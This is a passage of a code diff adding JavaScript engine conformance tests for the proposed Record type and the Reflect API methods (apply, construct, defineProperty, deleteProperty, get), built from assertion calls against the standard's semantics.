+var rec = Record({ x: 1, y: 2, a: 3 });
+
+var desc = Object.getOwnPropertyDescriptor(rec, "x");
+assertEq(desc.value, 1);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+
+assertEq(Object.getOwnPropertyDescriptor(rec, "z"), undefined);
+
+var recO = Object(rec);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(rec, "x", { value: 1 }),
+ TypeError,
+ "#{ \"a\": 3, \"x\": 1, \"y\": 2 } is not a non-null object"
+);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(recO, "b", {}),
+ TypeError,
+ "can't define property \"b\": Record is not extensible"
+);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(recO, Symbol(), {}),
+ TypeError,
+ "can't define property \"b\": Record is not extensible"
+);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(recO, "x", { value: 2 }),
+ TypeError,
+ '"x" is read-only'
+);
+
+Object.defineProperty(recO, "x", { value: 1 });
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(recO, "x", { value: 2, writable: true }),
+ TypeError,
+ 'Invalid record property descriptor'
+);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(recO, "x", { value: 2, enumerable: false }),
+ TypeError,
+ 'Invalid record property descriptor'
+);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(recO, "x", { value: 2, configurable: true }),
+ TypeError,
+ 'Invalid record property descriptor'
+);
+
+assertEq(Object.prototype.propertyIsEnumerable.call(rec, "x"), true);
+assertEq(Object.prototype.propertyIsEnumerable.call(rec, "x"), true);
+assertEq(Object.prototype.propertyIsEnumerable.call(rec, "w"), false);
+assertEq(Object.prototype.propertyIsEnumerable.call(rec, "w"), false);
+assertEq(Object.prototype.propertyIsEnumerable.call(recO, "x"), true);
+assertEq(Object.prototype.propertyIsEnumerable.call(recO, "x"), true);
+assertEq(Object.prototype.propertyIsEnumerable.call(recO, "w"), false);
+assertEq(Object.prototype.propertyIsEnumerable.call(recO, "w"), false);
+
+assertEq(Object.prototype.hasOwnProperty.call(rec, "x"), true);
+assertEq(Object.prototype.hasOwnProperty.call(rec, "x"), true);
+assertEq(Object.prototype.hasOwnProperty.call(rec, "w"), false);
+assertEq(Object.prototype.hasOwnProperty.call(rec, "w"), false);
+assertEq(Object.prototype.hasOwnProperty.call(recO, "x"), true);
+assertEq(Object.prototype.hasOwnProperty.call(recO, "x"), true);
+assertEq(Object.prototype.hasOwnProperty.call(recO, "w"), false);
+assertEq(Object.prototype.hasOwnProperty.call(recO, "w"), false);
+
+assertEq("x" in recO, true);
+assertEq("w" in recO, false);
+
+assertEq(delete rec.x, false);
+assertEq(delete rec.x, false);
+assertEq(delete rec.w, true);
+assertEq(delete rec.w, true);
+assertEq(delete recO.x, false);
+assertEq(delete recO.x, false);
+assertEq(delete recO.w, true);
+assertEq(delete recO.w, true);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Record/shell.js b/js/src/tests/non262/Record/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Record/shell.js
diff --git a/js/src/tests/non262/Record/syntax.js b/js/src/tests/non262/Record/syntax.js
new file mode 100644
index 0000000000..1291cd3bab
--- /dev/null
+++ b/js/src/tests/non262/Record/syntax.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+Reflect.parse("#{}");
+Reflect.parse("#{ foo: 1, bar: 2 }");
+Reflect.parse("#{ foo: 1, bar: 2, }");
+Reflect.parse("#{ foo, ...bar }");
+Reflect.parse("#{ foo, ...bar, }");
+Reflect.parse("#{ foo: 1, ...bar, baz: 2 }");
+Reflect.parse("#{ foo }");
+Reflect.parse("#{ foo, }");
+Reflect.parse("#{ foo, bar }");
+Reflect.parse("#{ foo: 1, bar }");
+Reflect.parse("#{ foo, bar: 2 }");
+Reflect.parse("#{ foo: bar() }");
+
+Reflect.parse("#{ __proto__ }");
+Reflect.parse("#{ ['__proto__']: 2 }");
+
+assertThrowsInstanceOf(() => Reflect.parse("#{,}"), SyntaxError);
+assertThrowsInstanceOf(() => Reflect.parse("#{ foo() {} }"), SyntaxError);
+assertThrowsInstanceOf(() => Reflect.parse("#{ get foo() {} }"), SyntaxError);
+assertThrowsInstanceOf(() => Reflect.parse("#{ __proto__: 2 }"), SyntaxError);
+assertThrowsInstanceOf(() => Reflect.parse("#{ '__proto__': 2 }"), SyntaxError);
+assertThrowsInstanceOf(() => Reflect.parse("#{ foo = 2 }"), SyntaxError);
+assertThrowsInstanceOf(() => Reflect.parse("#{ foo } = bar"), SyntaxError);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Record/wrapper.js b/js/src/tests/non262/Record/wrapper.js
new file mode 100644
index 0000000000..1c905739a5
--- /dev/null
+++ b/js/src/tests/non262/Record/wrapper.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+var boxO = Object(#{ x: 1, y: 2 });
+
+assertEq(Object.isExtensible(boxO), false);
+assertEq(Object.isSealed(boxO), true);
+assertEq(Object.isFrozen(boxO), true);
+
+boxO.x = 3;
+assertEq(boxO.x, 1);
+assertThrowsInstanceOf(() => { "use strict"; boxO.x = 3; }, TypeError);
+assertEq(boxO.x, 1);
+
+boxO.z = 3;
+assertEq(boxO.z, undefined);
+assertThrowsInstanceOf(() => { "use strict"; boxO.z = 3; }, TypeError);
+assertEq(boxO.z, undefined);
+
+assertThrowsInstanceOf(() => { Object.defineProperty(boxO, "x", { value: 3 }); }, TypeError);
+assertEq(boxO.x, 1);
+
+assertThrowsInstanceOf(() => { Object.defineProperty(boxO, "z", { value: 3 }); }, TypeError);
+assertEq(boxO.z, undefined);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/apply.js b/js/src/tests/non262/Reflect/apply.js
new file mode 100644
index 0000000000..fbd9db2a4b
--- /dev/null
+++ b/js/src/tests/non262/Reflect/apply.js
@@ -0,0 +1,130 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.apply calls functions.
+assertEq(Reflect.apply(Math.floor, undefined, [1.75]), 1);
+
+// Reflect.apply requires a target object that's callable.
+var nonCallable = [{}, [], (class clsX { constructor() {} })];
+for (var value of nonCallable) {
+ assertThrowsInstanceOf(() => Reflect.apply(nonCallable), TypeError);
+}
+
+// When target is not callable, Reflect.apply does not try to get argumentList.length before throwing.
+var hits = 0;
+var bogusArgumentList = {get length() { hit++; throw "FAIL";}};
+assertThrowsInstanceOf(() => Reflect.apply({callable: false}, null, bogusArgumentList),
+ TypeError);
+assertEq(hits, 0);
+
+// Reflect.apply works on a range of different callable objects.
+// Builtin functions (we also tested Math.floor above):
+assertEq(Reflect.apply(String.fromCharCode,
+ undefined,
+ [104, 101, 108, 108, 111]),
+ "hello");
+
+// Builtin methods:
+assertEq(Reflect.apply(RegExp.prototype.exec,
+ /ab/,
+ ["confabulation"]).index,
+ 4);
+
+// Builtin methods of primitive objects:
+assertEq(Reflect.apply("".charAt,
+ "ponies",
+ [3]),
+ "i");
+
+// Bound functions:
+assertEq(Reflect.apply(function () { return this; }.bind(Math),
+ Function,
+ []),
+ Math);
+assertEq(Reflect.apply(Array.prototype.concat.bind([1, 2], [3]),
+ [4, 5],
+ [[6, 7, 8]]).join(),
+ "1,2,3,6,7,8");
+
+// Generator functions:
+function* g(arg) { yield "pass" + arg; }
+assertEq(Reflect.apply(g,
+ undefined,
+ ["word"]).next().value,
+ "password");
+
+// Proxies:
+function f() { return 13; }
+assertEq(Reflect.apply(new Proxy(f, {}),
+ undefined,
+ []),
+ 13);
+
+// Cross-compartment wrappers:
+var gw = newGlobal();
+assertEq(Reflect.apply(gw.parseInt,
+ undefined,
+ ["45"]),
+ 45);
+assertEq(Reflect.apply(gw.Symbol.for,
+ undefined,
+ ["moon"]),
+ Symbol.for("moon"));
+
+gw.eval("function q() { return q; }");
+assertEq(Reflect.apply(gw.q,
+ undefined,
+ []),
+ gw.q);
+
+
+// Exceptions are propagated.
+var nope = new Error("nope");
+function fail() {
+ throw nope;
+}
+assertThrowsValue(() => Reflect.apply(fail, undefined, []),
+ nope);
+
+// Exceptions thrown by cross-compartment wrappers are re-wrapped for the
+// calling compartment.
+var gxw = gw.eval("var x = new Error('x'); x");
+gw.eval("function fail() { throw x; }");
+assertThrowsValue(() => Reflect.apply(gw.fail, undefined, []),
+ gxw);
+
+// The thisArgument is passed to the target function as the 'this' value.
+var obj = {};
+hits = 0;
+assertEq(Reflect.apply(function () { hits++; assertEq(this, obj); },
+ obj,
+ []),
+ undefined);
+assertEq(hits, 1);
+
+// Primitive values can be thisArgument.
+function strictThis() { "use strict"; return this; }
+for (var value of [null, undefined, 0, -0, NaN, Symbol("moon")]) {
+ assertEq(Reflect.apply(strictThis, value, []),
+ value);
+}
+
+// If the target is a non-strict function and thisArgument is a primitive value
+// other than null or undefined, then thisArgument is converted to a wrapper
+// object.
+var testValues = [true, 1e9, "ok", Symbol("ok")];
+function nonStrictThis(expected) {
+ assertEq(typeof this, "object");
+ assertEq(Reflect.apply(Object.prototype.toString, this, []).toLowerCase(), expected);
+ return "ok";
+}
+for (var value of testValues) {
+ assertEq(Reflect.apply(nonStrictThis,
+ value,
+ ["[object " + typeof value + "]"]),
+ "ok");
+}
+
+// For more Reflect.apply tests, see target.js and argumentsList.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/argumentsList.js b/js/src/tests/non262/Reflect/argumentsList.js
new file mode 100644
index 0000000000..1cd5984f00
--- /dev/null
+++ b/js/src/tests/non262/Reflect/argumentsList.js
@@ -0,0 +1,164 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Tests for the argumentList argument to Reflect.apply and Reflect.construct.
+
+// Reflect.apply and Reflect.construct require an argumentList argument that must be an object.
+assertThrowsInstanceOf(() => Reflect.apply(Math.min, undefined), // missing
+ TypeError);
+assertThrowsInstanceOf(() => Reflect.construct(Object), // missing
+ TypeError);
+for (var primitive of SOME_PRIMITIVE_VALUES) {
+ assertThrowsInstanceOf(() => Reflect.apply(Math.min, undefined, primitive),
+ TypeError);
+ assertThrowsInstanceOf(() => Reflect.construct(Object, primitive),
+ TypeError);
+}
+
+// Array used by several tests below.
+var BOTH = [
+ Reflect.apply,
+ // Adapt Reflect.construct to accept the same arguments as Reflect.apply.
+ (target, thisArgument, argumentList) => Reflect.construct(target, argumentList)
+];
+
+// The argumentList is copied and becomes the list of arguments passed to the function.
+function getRest(...x) { return x; }
+var args = [1, 2, 3];
+for (var method of BOTH) {
+ var result = method(getRest, undefined, args);
+ assertEq(result.join(), args.join());
+ assertEq(result !== args, true);
+}
+
+// argumentList.length can be less than func.length.
+function testLess(a, b, c, d, e) {
+ assertEq(a, 1);
+ assertEq(b, true);
+ assertEq(c, "three");
+ assertEq(d, Symbol.for);
+ assertEq(e, undefined);
+
+ assertEq(arguments.length, 4);
+ assertEq(arguments !== args, true);
+ return "ok";
+}
+args = [1, true, "three", Symbol.for];
+assertEq(Reflect.apply(testLess, undefined, args), "ok");
+assertEq(Reflect.construct(testLess, args) instanceof testLess, true);
+
+// argumentList.length can be more than func.length.
+function testMoar(a) {
+ assertEq(a, args[0]);
+ return "good";
+}
+assertEq(Reflect.apply(testMoar, undefined, args), "good");
+assertEq(Reflect.construct(testMoar, args) instanceof testMoar, true);
+
+// argumentList can be any object with a .length property.
+function getArgs(...args) {
+ return args;
+}
+for (var method of BOTH) {
+ assertDeepEq(method(getArgs, undefined, {length: 0}),
+ []);
+ assertDeepEq(method(getArgs, undefined, {length: 1, "0": "zero"}),
+ ["zero"]);
+ assertDeepEq(method(getArgs, undefined, {length: 2}),
+ [undefined, undefined]);
+ assertDeepEq(method(getArgs, undefined, function (a, b, c) {}),
+ [undefined, undefined, undefined]);
+}
+
+// The Iterable/Iterator interfaces are not used.
+var funnyArgs = {
+ 0: "zero",
+ 1: "one",
+ length: 2,
+ [Symbol.iterator]() { throw "FAIL 1"; },
+ next() { throw "FAIL 2"; }
+};
+for (var method of BOTH) {
+ assertDeepEq(method(getArgs, undefined, funnyArgs),
+ ["zero", "one"]);
+}
+
+// If argumentList has no .length property, no arguments are passed.
+function count() { return {numArgsReceived: arguments.length}; }
+for (var method of BOTH) {
+ assertEq(method(count, undefined, {"0": 0, "1": 1}).numArgsReceived,
+ 0);
+ function* g() { yield 1; yield 2; }
+ assertEq(method(count, undefined, g()).numArgsReceived,
+ 0);
+}
+
+// If argumentsList.length has a getter, it is called.
+var log;
+args = {
+ get length() { log += "L"; return 1; },
+ get "0"() { log += "0"; return "zero"; },
+ get "1"() { log += "1"; return "one"; }
+};
+for (var method of BOTH) {
+ log = "";
+ assertDeepEq(method(getArgs, undefined, args),
+ ["zero"]);
+ assertEq(log, "L0");
+}
+
+// The argumentsList.length getter can throw; the exception is propagated.
+var exc = {status: "bad"};
+args = {
+ get length() { throw exc; }
+};
+for (var method of BOTH) {
+ assertThrowsValue(() => method(count, undefined, args), exc);
+}
+
+// If argumentsList.length is unreasonably huge, we get an error.
+// (This is an implementation limit.)
+for (var method of BOTH) {
+ for (var value of [1e12, 1e240, Infinity]) {
+ assertThrowsInstanceOf(() => method(count, undefined, {length: value}),
+ Error);
+ }
+}
+
+// argumentsList.length is converted to an integer.
+for (var value of [1.7, "1", {valueOf() { return "1"; }}]) {
+ args = {
+ length: value,
+ "0": "ponies"
+ };
+ for (var method of BOTH) {
+ var result = method(getArgs, undefined, args);
+ assertEq(result.length, 1);
+ assertEq(result[0], "ponies");
+ }
+}
+
+// If argumentsList.length is negative or NaN, no arguments are passed.
+for (var method of BOTH) {
+ for (var num of [-1, -0.1, -0, -1e99, -Infinity, NaN]) {
+ assertEq(method(count, undefined, {length: num}).numArgsReceived,
+ 0);
+ }
+}
+
+// Many arguments can be passed.
+var many = 65537;
+var args = {length: many, 0: "zero", [many - 1]: "last"};
+function testMany(...args) {
+ for (var i = 0; i < many; i++) {
+ assertEq(i in args, true);
+ assertEq(args[i], i === 0 ? "zero" : i === many - 1 ? "last" : undefined);
+ }
+ return this;
+}
+assertEq(Reflect.apply(testMany, "pass", args).toString(), "pass");
+assertEq(Reflect.construct(testMany, args) instanceof testMany, true);
+assertEq(Reflect.apply(new Proxy(testMany, {}), "pass", args).toString(), "pass");
+assertEq(Reflect.construct(new Proxy(testMany, {}), args) instanceof testMany, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/browser.js b/js/src/tests/non262/Reflect/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Reflect/browser.js
diff --git a/js/src/tests/non262/Reflect/construct.js b/js/src/tests/non262/Reflect/construct.js
new file mode 100644
index 0000000000..7dbb9bfa7d
--- /dev/null
+++ b/js/src/tests/non262/Reflect/construct.js
@@ -0,0 +1,107 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.construct invokes constructors.
+
+assertDeepEq(Reflect.construct(Object, []), {});
+assertDeepEq(Reflect.construct(String, ["hello"]), new String("hello"));
+
+// Constructing Date creates a real Date object.
+var d = Reflect.construct(Date, [1776, 6, 4]);
+assertEq(d instanceof Date, true);
+assertEq(d.getFullYear(), 1776); // non-generic method requires real Date object
+
+// [[Construct]] methods don't necessarily create new objects.
+var obj = {};
+assertEq(Reflect.construct(Object, [obj]), obj);
+
+
+// === Various kinds of constructors
+// We've already seen some builtin constructors.
+//
+// JS functions:
+function f(x) { this.x = x; }
+assertDeepEq(Reflect.construct(f, [3]), new f(3));
+f.prototype = Array.prototype;
+assertDeepEq(Reflect.construct(f, [3]), new f(3));
+
+// Bound functions:
+var bound = f.bind(null, "carrot");
+assertDeepEq(Reflect.construct(bound, []), new bound);
+
+// Classes:
+class Base {
+ constructor(...args) {
+ this.args = args;
+ this.newTarget = new.target;
+ }
+}
+class Derived extends Base {
+ constructor(...args) { super(...args); }
+}
+
+assertDeepEq(Reflect.construct(Base, []), new Base);
+assertDeepEq(Reflect.construct(Derived, [7]), new Derived(7));
+g = Derived.bind(null, "q");
+assertDeepEq(Reflect.construct(g, [8, 9]), new g(8, 9));
+
+// Cross-compartment wrappers:
+var g = newGlobal();
+var local = {here: this};
+g.eval("function F(arg) { this.arg = arg }");
+assertDeepEq(Reflect.construct(g.F, [local]), new g.F(local));
+
+// If first argument to Reflect.construct isn't a constructor, it throws a
+// TypeError.
+var nonConstructors = [
+ {},
+ Reflect.construct, // builtin functions aren't constructors
+ x => x + 1,
+ Math.max.bind(null, 0), // bound non-constructors aren't constructors
+ ((x, y) => x > y).bind(null, 0),
+
+ // A Proxy to a non-constructor function isn't a constructor, even if a
+ // construct handler is present.
+ new Proxy(Reflect.construct, {construct(){}}),
+];
+for (var obj of nonConstructors) {
+ assertThrowsInstanceOf(() => Reflect.construct(obj, []), TypeError);
+ assertThrowsInstanceOf(() => Reflect.construct(obj, [], Object), TypeError);
+}
+
+
+// === new.target tests
+
+// If the newTarget argument to Reflect.construct is missing, the target is used.
+function checkNewTarget() {
+ assertEq(new.target, expected);
+ expected = undefined;
+}
+var expected = checkNewTarget;
+Reflect.construct(checkNewTarget, []);
+
+// The newTarget argument is correctly passed to the constructor.
+var constructors = [Object, Function, f, bound];
+for (var ctor of constructors) {
+ expected = ctor;
+ Reflect.construct(checkNewTarget, [], ctor);
+ assertEq(expected, undefined);
+}
+
+// The newTarget argument must be a constructor.
+for (var v of SOME_PRIMITIVE_VALUES.concat(nonConstructors)) {
+ assertThrowsInstanceOf(() => Reflect.construct(checkNewTarget, [], v), TypeError);
+}
+
+// The builtin Array constructor uses new.target.prototype and always
+// creates a real array object.
+function someConstructor() {}
+var result = Reflect.construct(Array, [], someConstructor);
+assertEq(Reflect.getPrototypeOf(result), someConstructor.prototype);
+assertEq(result.length, 0);
+assertEq(Array.isArray(result), true);
+
+
+// For more Reflect.construct tests, see target.js and argumentsList.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/defineProperty.js b/js/src/tests/non262/Reflect/defineProperty.js
new file mode 100644
index 0000000000..1f299f4e85
--- /dev/null
+++ b/js/src/tests/non262/Reflect/defineProperty.js
@@ -0,0 +1,164 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.defineProperty defines properties.
+var obj = {};
+assertEq(Reflect.defineProperty(obj, "x", {value: 7}), true);
+assertEq(obj.x, 7);
+var desc = Reflect.getOwnPropertyDescriptor(obj, "x");
+assertDeepEq(desc, {value: 7,
+ writable: false,
+ enumerable: false,
+ configurable: false});
+
+// Reflect.defineProperty can define a symbol-keyed property.
+var key = Symbol(":o)");
+assertEq(Reflect.defineProperty(obj, key, {value: 8}), true);
+assertEq(obj[key], 8);
+
+// array .length property
+obj = [1, 2, 3, 4, 5];
+assertEq(Reflect.defineProperty(obj, "length", {value: 4}), true);
+assertDeepEq(obj, [1, 2, 3, 4]);
+
+// The target can be a proxy.
+obj = {};
+var proxy = new Proxy(obj, {
+ defineProperty(t, id, desc) {
+ t[id] = 1;
+ return true;
+ }
+});
+assertEq(Reflect.defineProperty(proxy, "prop", {value: 7}), true);
+assertEq(obj.prop, 1);
+assertEq(delete obj.prop, true);
+assertEq("prop" in obj, false);
+
+// The attributes object is re-parsed, not passed through to the
+// handler.defineProperty method.
+obj = {};
+var attributes = {
+ configurable: 17,
+ enumerable: undefined,
+ value: null
+};
+proxy = new Proxy(obj, {
+ defineProperty(t, id, desc) {
+ assertEq(desc !== attributes, true);
+ assertEq(desc.configurable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.value, null);
+ assertEq("writable" in desc, false);
+ return 15; // and the return value here is coerced to boolean
+ }
+});
+assertEq(Reflect.defineProperty(proxy, "prop", attributes), true);
+
+
+// === Failure and error cases
+//
+// Reflect.defineProperty behaves much like Object.defineProperty, which has
+// extremely thorough tests elsewhere, and the implementation is largely
+// shared. Duplicating those tests with Reflect.defineProperty would be a
+// big waste.
+//
+// However, certain failures cause Reflect.defineProperty to return false
+// without throwing a TypeError (unlike Object.defineProperty). So here we test
+// many error cases to check that behavior.
+
+// missing attributes argument
+assertThrowsInstanceOf(() => Reflect.defineProperty(obj, "y"),
+ TypeError);
+
+// non-object attributes argument
+for (var attributes of SOME_PRIMITIVE_VALUES) {
+ assertThrowsInstanceOf(() => Reflect.defineProperty(obj, "y", attributes),
+ TypeError);
+}
+
+// inextensible object
+obj = Object.preventExtensions({});
+assertEq(Reflect.defineProperty(obj, "prop", {value: 4}), false);
+
+// inextensible object with irrelevant inherited property
+obj = Object.preventExtensions(Object.create({"prop": 3}));
+assertEq(Reflect.defineProperty(obj, "prop", {value: 4}), false);
+
+// redefine nonconfigurable to configurable
+obj = Object.freeze({prop: 1});
+assertEq(Reflect.defineProperty(obj, "prop", {configurable: true}), false);
+
+// redefine enumerability of nonconfigurable property
+obj = Object.freeze(Object.defineProperties({}, {
+ x: {enumerable: true, configurable: false, value: 0},
+ y: {enumerable: false, configurable: false, value: 0},
+}));
+assertEq(Reflect.defineProperty(obj, "x", {enumerable: false}), false);
+assertEq(Reflect.defineProperty(obj, "y", {enumerable: true}), false);
+
+// redefine nonconfigurable data to accessor property, or vice versa
+obj = Object.seal({x: 1, get y() { return 2; }});
+assertEq(Reflect.defineProperty(obj, "x", {get() { return 2; }}), false);
+assertEq(Reflect.defineProperty(obj, "y", {value: 1}), false);
+
+// redefine nonwritable, nonconfigurable property as writable
+obj = Object.freeze({prop: 0});
+assertEq(Reflect.defineProperty(obj, "prop", {writable: true}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {writable: false}), true); // no-op
+
+// change value of nonconfigurable nonwritable property
+obj = Object.freeze({prop: 0});
+assertEq(Reflect.defineProperty(obj, "prop", {value: -0}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {value: +0}), true); // no-op
+
+// change getter or setter
+function g() {}
+function s(x) {}
+obj = {};
+Object.defineProperty(obj, "prop", {get: g, set: s, configurable: false});
+assertEq(Reflect.defineProperty(obj, "prop", {get: s}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {get: g}), true); // no-op
+assertEq(Reflect.defineProperty(obj, "prop", {set: g}), false);
+assertEq(Reflect.defineProperty(obj, "prop", {set: s}), true); // no-op
+
+// Proxy defineProperty handler method that returns false
+var falseValues = [false, 0, -0, "", NaN, null, undefined];
+if (typeof createIsHTMLDDA === "function")
+ falseValues.push(createIsHTMLDDA());
+var value;
+proxy = new Proxy({}, {
+ defineProperty(t, id, desc) {
+ return value;
+ }
+});
+for (value of falseValues) {
+ assertEq(Reflect.defineProperty(proxy, "prop", {value: 1}), false);
+}
+
+// Proxy defineProperty handler method returns true, in violation of invariants.
+// Per spec, this is a TypeError, not a false return.
+obj = Object.freeze({x: 1});
+proxy = new Proxy(obj, {
+ defineProperty(t, id, desc) {
+ return true;
+ }
+});
+assertThrowsInstanceOf(() => Reflect.defineProperty(proxy, "x", {value: 2}), TypeError);
+assertThrowsInstanceOf(() => Reflect.defineProperty(proxy, "y", {value: 0}), TypeError);
+assertEq(Reflect.defineProperty(proxy, "x", {value: 1}), true);
+
+// The second argument is converted ToPropertyKey before any internal methods
+// are called on the first argument.
+var poison =
+ (counter => new Proxy({}, new Proxy({}, { get() { throw counter++; } })))(42);
+assertThrowsValue(() => {
+ Reflect.defineProperty(poison, {
+ toString() { throw 17; },
+ valueOf() { throw 8675309; }
+ }, poison);
+}, 17);
+
+
+// For more Reflect.defineProperty tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/deleteProperty.js b/js/src/tests/non262/Reflect/deleteProperty.js
new file mode 100644
index 0000000000..744e0f5715
--- /dev/null
+++ b/js/src/tests/non262/Reflect/deleteProperty.js
@@ -0,0 +1,80 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.deleteProperty deletes properties.
+var obj = {x: 1, y: 2};
+assertEq(Reflect.deleteProperty(obj, "x"), true);
+assertDeepEq(obj, {y: 2});
+
+var arr = [1, 1, 2, 3, 5];
+assertEq(Reflect.deleteProperty(arr, "3"), true);
+assertDeepEq(arr, [1, 1, 2, , 5]);
+
+
+// === Failure and error cases
+// Since Reflect.deleteProperty is almost exactly identical to the non-strict
+// `delete` operator, there is not much to test that would not be redundant.
+
+// Returns true if no such property exists.
+assertEq(Reflect.deleteProperty({}, "q"), true);
+
+// Or if it's inherited.
+var proto = {x: 1};
+assertEq(Reflect.deleteProperty(Object.create(proto), "x"), true);
+assertEq(proto.x, 1);
+
+// Return false if asked to delete a non-configurable property.
+var arr = [];
+assertEq(Reflect.deleteProperty(arr, "length"), false);
+assertEq(arr.hasOwnProperty("length"), true);
+assertEq(Reflect.deleteProperty(this, "undefined"), false);
+assertEq(this.undefined, void 0);
+
+// Return false if a Proxy's deleteProperty handler returns a false-y value.
+var value;
+var proxy = new Proxy({}, {
+ deleteProperty(t, k) {
+ return value;
+ }
+});
+for (value of [true, false, 0, "something", {}]) {
+ assertEq(Reflect.deleteProperty(proxy, "q"), !!value);
+}
+
+// If a Proxy's handler method throws, the error is propagated.
+proxy = new Proxy({}, {
+ deleteProperty(t, k) { throw "vase"; }
+});
+assertThrowsValue(() => Reflect.deleteProperty(proxy, "prop"), "vase");
+
+// Throw a TypeError if a Proxy's handler method returns true in violation of
+// the object invariants.
+proxy = new Proxy(Object.freeze({prop: 1}), {
+ deleteProperty(t, k) { return true; }
+});
+assertThrowsInstanceOf(() => Reflect.deleteProperty(proxy, "prop"), TypeError);
+
+
+// === Deleting elements from `arguments`
+
+// Non-strict arguments element becomes unmapped
+function f(x, y, z) {
+ assertEq(Reflect.deleteProperty(arguments, "0"), true);
+ arguments.x = 33;
+ return x;
+}
+assertEq(f(17, 19, 23), 17);
+
+// Frozen non-strict arguments element
+function testFrozenArguments() {
+ Object.freeze(arguments);
+ assertEq(Reflect.deleteProperty(arguments, "0"), false);
+ assertEq(arguments[0], "zero");
+ assertEq(arguments[1], "one");
+}
+testFrozenArguments("zero", "one");
+
+
+// For more Reflect.deleteProperty tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/get.js b/js/src/tests/non262/Reflect/get.js
new file mode 100644
index 0000000000..b38b188b03
--- /dev/null
+++ b/js/src/tests/non262/Reflect/get.js
@@ -0,0 +1,72 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.get gets the value of a property.
+
+var x = {p: 1};
+assertEq(Reflect.get(x, "p"), 1);
+assertEq(Reflect.get(x, "toString"), Object.prototype.toString);
+assertEq(Reflect.get(x, "missing"), undefined);
+
+
+// === Various targets
+
+// Array
+assertEq(Reflect.get([], 700), undefined);
+assertEq(Reflect.get(["zero", "one"], 1), "one");
+
+// TypedArray
+assertEq(Reflect.get(new Uint8Array([0, 1, 2, 3, 4, 5, 6, 7]), 7), 7);
+
+// Treatment of NaN
+var f = new Float64Array([NaN]);
+var u = new Uint32Array(f.buffer);
+u[0]++;
+u[1]++;
+assertEq(f[0], NaN);
+assertEq(Reflect.get(f, 0), NaN);
+
+// Proxy with no get handler
+assertEq(Reflect.get(new Proxy(x, {}), "p"), 1);
+
+// Proxy with a get handler
+var obj = new Proxy(x, {
+ get(t, k, r) { return k + "ful"; }
+});
+assertEq(Reflect.get(obj, "mood"), "moodful");
+
+// Exceptions thrown by a proxy's get handler are propagated.
+assertThrowsInstanceOf(() => Reflect.get(obj, Symbol()), TypeError);
+
+// Ordinary object, property has a setter and no getter
+obj = {set name(x) {}};
+assertEq(Reflect.get(obj, "name"), undefined);
+
+
+// === Receiver
+
+// Receiver argument is passed to getters as the this-value.
+obj = { get x() { return this; }};
+assertEq(Reflect.get(obj, "x", Math), Math);
+assertEq(Reflect.get(Object.create(obj), "x", JSON), JSON);
+
+// If missing, target is passed instead.
+assertEq(Reflect.get(obj, "x"), obj);
+
+// Receiver argument is passed to the proxy get handler.
+obj = new Proxy({}, {
+ get(t, k, r) {
+ assertEq(k, "itself");
+ return r;
+ }
+});
+assertEq(Reflect.get(obj, "itself"), obj);
+assertEq(Reflect.get(obj, "itself", Math), Math);
+assertEq(Reflect.get(Object.create(obj), "itself", Math), Math);
+
+// The receiver shouldn't have to be an object
+assertEq(Reflect.get(obj, "itself", 37.2), 37.2);
+
+// For more Reflect.get tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/getOwnPropertyDescriptor.js b/js/src/tests/non262/Reflect/getOwnPropertyDescriptor.js
new file mode 100644
index 0000000000..aa7329778d
--- /dev/null
+++ b/js/src/tests/non262/Reflect/getOwnPropertyDescriptor.js
@@ -0,0 +1,21 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.getOwnPropertyDescriptor inspects object properties.
+assertDeepEq(
+ Reflect.getOwnPropertyDescriptor({x: "hello"}, "x"),
+ {value: "hello", writable: true, enumerable: true, configurable: true});
+assertEq(
+ Reflect.getOwnPropertyDescriptor({x: "hello"}, "y"),
+ undefined);
+assertDeepEq(
+ Reflect.getOwnPropertyDescriptor([], "length"),
+ {value: 0, writable: true, enumerable: false, configurable: false});
+
+// Reflect.getOwnPropertyDescriptor shares its implementation with
+// Object.getOwnPropertyDescriptor. The only difference is how non-object
+// targets are handled.
+//
